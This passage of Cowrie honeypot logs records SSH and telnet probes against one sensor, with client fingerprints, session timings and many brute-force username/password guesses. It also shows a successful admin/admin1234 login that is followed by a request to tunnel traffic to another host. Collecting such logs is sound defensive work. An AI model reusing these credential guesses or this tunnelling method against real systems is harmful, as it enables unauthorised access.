\\\\N6\\x8e\\xc1\\xfe\\x0e\\x87\\x96\\xc7ze\\xa6\\xb4\\x89\"t\\xc2\\x86\\x7f\\xfd\\x8dy]\\xa9\\x98\\x16Y1O\\xb5\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.775374Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna","message":"login attempt [danna/danna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.783130Z","src_ip":"91.92.40.36","session":"e876fa2fd74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.840628Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:04.780653Z","src_ip":"91.92.40.36","session":"825c1deed3e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:04.785824Z","src_ip":"91.92.40.36","session":"825c1deed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.4","message":"Connection lost after 32.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:06.043263Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:06.898515Z","src_ip":"91.92.40.36","session":"e876fa2fd74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"f10e80c5fe94","protocol":"ssh","message":"New connection: 91.92.40.36:45148 (159.203.135.109:22) [session: f10e80c5fe94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:09.266266Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian12","message":"login attempt [ubuntu/debian12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:11.457278Z","src_ip":"91.92.40.36","session":"db95d757017a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:12.749926Z","src_ip":"91.92.40.36","session":"f10e80c5fe94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:12.753441Z","src_ip":"91.92.40.36","session":"f10e80c5fe94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:14.920723Z","src_ip":"91.92.40.36","session":"db95d757017a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser12345678","message":"login attempt [ubuntu/hduser12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:16.440262Z","src_ip":"91.92.40.36","session":"825c1deed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:19.857814Z","src_ip":"91.92.40.36","session":"825c1deed3e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1d248d5c98b","protocol":"ssh","message":"New connection: 91.92.40.36:19944 (159.203.135.109:22) [session: c1d248d5c98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:20.193333Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testpass","message":"login attempt [ubuntu/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:21.598875Z","src_ip":"91.92.40.36","session":"f10e80c5fe94","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:22.221351Z","src_ip":"91.92.40.36","session":"c1d248d5c98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:22.224488Z","src_ip":"91.92.40.36","session":"c1d248d5c98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:24.243191Z","src_ip":"91.92.40.36","session":"f10e80c5fe94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64762,"dst_ip":"159.203.135.109","dst_port":22,"session":"9672f5bf0767","protocol":"ssh","message":"New connection: 91.92.40.36:64762 (159.203.135.109:22) [session: 9672f5bf0767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:28.285595Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"20091991","message":"login attempt [user/20091991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:28.299496Z","src_ip":"91.92.40.36","session":"c1d248d5c98b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:30.122755Z","src_ip":"91.92.40.36","session":"9672f5bf0767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:30.128252Z","src_ip":"91.92.40.36","session":"9672f5bf0767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:30.405624Z","src_ip":"91.92.40.36","session":"c1d248d5c98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.66027498245239,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:32.581502Z","src_ip":"128.199.8.54","session":"3b8ea501d02d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo123456789","message":"login attempt [ubuntu/demo123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:36.933495Z","src_ip":"91.92.40.36","session":"9672f5bf0767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14620,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1e1454d6ef0","protocol":"ssh","message":"New connection: 91.92.40.36:14620 (159.203.135.109:22) [session: e1e1454d6ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:37.141038Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38524,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba24a957060","protocol":"telnet","message":"New connection: 128.199.8.54:38524 (159.203.135.109:23) [session: 4ba24a957060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:37.601876Z"}
{"eventid":"cowrie.session.closed","duration":0.0067789554595947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:37.608511Z","src_ip":"128.199.8.54","session":"4ba24a957060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":52863,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d211f94c98","protocol":"ssh","message":"New connection: 38.46.222.137:52863 (10.17.0.5:22) [session: c5d211f94c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:38.136053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:38.144687Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:38.236828Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:38.493552Z","src_ip":"91.92.40.36","session":"e1e1454d6ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:38.496632Z","src_ip":"91.92.40.36","session":"e1e1454d6ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:39.095438Z","src_ip":"91.92.40.36","session":"9672f5bf0767","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:39.702736Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nushi","password":"7777777","message":"login attempt [nushi/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:42.681130Z","src_ip":"91.92.40.36","session":"e1e1454d6ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:44.601647Z","src_ip":"91.92.40.36","session":"e1e1454d6ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58402,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8752f3efc54","protocol":"ssh","message":"New connection: 91.92.40.36:58402 (159.203.135.109:22) [session: f8752f3efc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:46.617904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.137733Z","src_ip":"91.92.40.36","session":"f8752f3efc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.141288Z","src_ip":"91.92.40.36","session":"f8752f3efc54","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.229259Z","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.293869Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
